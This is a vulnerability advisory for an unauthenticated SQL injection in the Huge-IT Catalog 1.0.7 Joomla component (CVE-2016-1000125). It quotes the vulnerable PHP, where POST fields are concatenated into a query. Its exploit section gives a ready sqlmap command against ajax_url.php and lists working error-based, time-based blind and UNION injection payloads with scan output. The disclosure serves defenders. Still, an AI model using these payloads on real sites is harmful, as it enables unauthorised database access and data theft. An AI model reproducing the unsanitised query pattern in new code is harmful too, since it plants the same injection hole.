Joomla Huge-IT Catalog 1.0.7 SQL Injection

`Title: Unauthenticated SQL Injection in Huge-IT Catalog v1.0.7 for Joomla  
Author: Larry W. Cashdollar, @_larry0  
Date: 2016-09-16  
Download Site: http://huge-it.com/joomla-catalog/  
Vendor: huge-it.com  
Vendor Notified: 2016-09-17  
Vendor Contact: [email protected]  
Description:   
Huge-IT Product Catalog is made for demonstration, sale, advertisements for your products. Imagine a stand with a   
variety of catalogs with a specific product category. To imagine is not difficult, to use is even easier.  
  
Vulnerability:  
The following code does not prevent an unauthenticated user from injecting SQL into functions via 'load_more_elements_into_catalog' located in ajax_url.php.   
  
Vulnerable Code in : ajax_url.php  
  
11 define('_JEXEC', 1);  
12 defined('_JEXEC') or die('Restircted access');  
.  
.  
.  
308 } elseif ($_POST["post"] == "load_more_elements_into_catalog") {  
309 $catalog_id = $_POST["catalog_id"];  
310 $old_count = $_POST["old_count"];  
311 $count_into_page = $_POST["count_into_page"];  
312 $show_thumbs = $_POST["show_thumbs"];  
313 $show_description = $_POST["show_description"];  
314 $show_linkbutton = $_POST["show_linkbutton"];  
315 $parmalink = $_POST["parmalink"];  
316 $level = $_POST['level'];  
.  
.  
.  
359 $query->select('*');  
360 $query->from('#__huge_it_catalog_products');  
361 $query->where('catalog_id =' . $catalog_id);  
362 $query->order('ordering asc');  
363 $db->setQuery($query, $from, $count_into_page);  
  
CVE-2016-1000125  
Exploit Code:  
aC/ $ sqlmap -u 'http://example.com/components/com_catalog/ajax_url.php' --data="prod_page=1&post=load_more_elements_into_catalog&catalog_id=*&old_count=*&count_into_page=*&show_thumbs=*&show_description=*&parmalink=*" --level=5 --risk=3  
aC/   
aC/ Parameter: #1* ((custom) POST)  
aC/ Type: error-based  
aC/ Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)  
aC/ Payload: prod_page=1&post=load_more_elements_into_catalog&catalog_id=-2369 OR 1 GROUP BY CONCAT(0x717a627871,(SELECT (CASE WHEN (1973=1973) THEN 1 ELSE 0 END)),0x716b787671,FLOOR(RAND(0)*2)) HAVING MIN(0)#&old_count=&count_into_page=&show_thumbs=&show_description=&parmalink=  
aC/   
aC/ Type: AND/OR time-based blind  
aC/ Title: MySQL >= 5.0.12 time-based blind - Parameter replace  
aC/ Payload: prod_page=1&post=load_more_elements_into_catalog&catalog_id=(CASE WHEN (7371=7371) THEN SLEEP(5) ELSE 7371 END)&old_count=&count_into_page=&show_thumbs=&show_description=&parmalink=  
aC/   
aC/ Type: UNION query  
aC/ Title: Generic UNION query (random number) - 15 columns  
aC/ Payload: prod_page=1&post=load_more_elements_into_catalog&catalog_id=-5943 UNION ALL SELECT 2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,CONCAT(0x717a627871,0x494a475477424c724f6f7853556d61597544576f4b614d6e41596771595253476c4251797a685974,0x716b787671)-- FvOy&old_count=&count_into_page=&show_thumbs=&show_description=&parmalink=  
aC/ ---  
aC/ [16:48:10] [INFO] the back-end DBMS is MySQL  
aC/ web server operating system: Linux Debian 8.0 (jessie)  
aC/ web application technology: Apache 2.4.10  
aC/ back-end DBMS: MySQL >= 5.0.12  
aC/ [16:48:10] [WARNING] HTTP error codes detected during run:  
aC/ 500 (Internal Server Error) - 6637 times  
aC/ [16:48:10] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'  
aC/   
aC/ [*] shutting down at 16:48:10  
aC/   
Advisory: http://www.vapidlabs.com/advisory.php?v=171  
  
  
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